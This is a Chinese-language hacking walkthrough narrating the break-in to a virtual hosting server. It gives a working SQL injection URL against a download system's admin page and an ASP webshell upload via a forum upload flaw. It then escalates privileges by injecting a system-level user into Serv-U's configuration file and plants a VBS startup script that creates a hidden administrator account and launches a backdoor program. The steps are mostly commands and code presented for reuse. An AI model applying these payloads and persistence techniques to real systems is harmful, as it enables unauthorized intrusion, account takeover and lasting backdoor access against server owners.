黑客对一台虚拟主机服务器的渗透全记录

# 惊云下载系统漏洞利用实战分析 近期，安全研究者一树披露了惊云下载系统的一个安全漏洞，其根源在于`admin/user.asp`文件存在SQL注入风险。 攻击者只需构造如下HTTP请求，即可触发漏洞： ``` http://www.xxx.com/down/admin/user.asp?user=admin' and asc(mid(pwd,1,1))>37 and '1'='1 ``` 该请求本质等价于执行了以下SQL语句： ``` select * from UserInfo where user='admin' and asc(mid(pwd,1,1))>37 and '1'='1' ``` 通过Access数据库的SQL注入漏洞，攻击者能够逐步获取管理员账户的密码哈希值。 此外，服务器上还附带了`upfile.htm`文件。尝试利用动网论坛的`upfile.asp`文件上传漏洞，结果不出所料——成功上传了ASP木马。 成功进入服务器后，发现C盘和D盘为NTFS分区，权限受限无法直接访问。E盘运行着Serv-U、PHP和WebMail服务，F盘为虚拟站点。所幸Serv-U的安装目录具有可写权限。 原本计划直接替换Serv-U的配置文件，但此举容易暴露且操作复杂。转而考虑利用Serv-U的本地权限提升漏洞。 首先在本地搭建Serv-U环境，创建一个用户，设置为系统管理员，主目录指向C盘，并赋予可执行权限。然后查看`ServUDaemon.ini`配置文件，其结构清晰如下： ``` [GLOBAL] Version=5.0.0.11 LocalSetupPassword=072C63105200180D5C07170A7E3E LocalSetupPortNo=60628 ProcessID=972 [DOMAINS] Domain1=192.168.0.102||21|向导产生域|1|0|0 Domain2=192.168.0.102||2121|123|2|0|0 [Domain1] User1=www|1|0 [USER=www|1] Password=ih0C292E1AC82920B7F384007F302A1296 HomeDir=D:\xiaoben TimeOut=600 Note1="Wizard generated account" Access1=D:\xiaoben|RLPWAMCD SKEYValues= [Domain2] User1=rover|1|0 User2=123|1|0 [USER=rover|2] Password=dx5D12C060F16C7166779414FA038E881D HomeDir=c:\ TimeOut=600 Maintenance=System Access1=C:\|RWAMELCDP SKEYValues= [USER=123|2] Password=kv3F6EED70340AD1478ADF95963A07FD00 HomeDir=c:\ TimeOut=600 Access1=C:\|RWAMLCDP SKEYValues= ``` 其中`rover`即为刚才新建的用户。随后，通过虚拟主机上的网页木马，打开目标服务器的`ServUDaemon.ini`文件，按照本地配置格式直接写入以下用户信息： ``` User1=rover|1|0 [USER=rover|2] Password=dx5D12C060F16C7166779414FA038E881D HomeDir=c:\ TimeOut=600 Maintenance=System Access1=C:\|RWAMELCDP SKEYValues= ``` 保存配置后，使用新建的用户名和密码尝试FTP连接： ``` ftp> open ip Connected to ip. 220 Serv-U FTP Server v5.0.0.4 for WinSock ready... User (ip:(none)): id 331 User name okay, please send complete E-mail address as password. Password: password 230 User logged in, proceed. ``` 连接成功。 接着尝试进入Windows系统目录：对于Windows 2000，目标为`winnt`；对于Windows XP/2003，则为`windows`目录。 ``` ftp> cd winnt 250 Directory changed to /WINNT ftp> cd system32 250 Directory changed to /WINNT/system32 ``` 尝试使用`net.exe`命令添加系统用户： ``` ftp> quote site exec net.exe user rover rover1234 /add ``` 执行失败，提示权限不足。但既然已获得C盘访问权限，可以采取其他策略。 将后门程序`server.exe`上传至`system32`目录，并编写如下VBS脚本： ```vbscript set wshshell=createobject ("wscript.shell") a=wshshell.run ("cmd.exe /c net user tsinternetuser rover1234 /add",0) b=wshshell.run ("cmd.exe /c net localgroup Administrators tsinternetuser /add",0) b=wshshell.run ("cmd.exe /c net user tsinternetuser /active:yes",0) b=wshshell.run ("cmd.exe /c server.exe",0) ``` 该脚本的功能清晰：修改`tsinternetuser`用户密码为`rover1234`，将其加入管理员组，启用该用户，并执行后门程序。 将脚本保存为`HELP.vbe`，上传至目标服务器的启动目录：`C:\Documents and Settings\All Users\「开始」菜单\程序\启动`。这样，管理员登录系统时脚本将自动运行。 随后只需等待，大约相当于观看一部《蜘蛛侠》电影的时间。待管理员登录后，通过后门程序连接，即可获得管理员权限的Shell。 至于清理痕迹等善后操作，此处不再赘述。今日心情不佳，本文叙述略显杂乱，敬请读者见谅。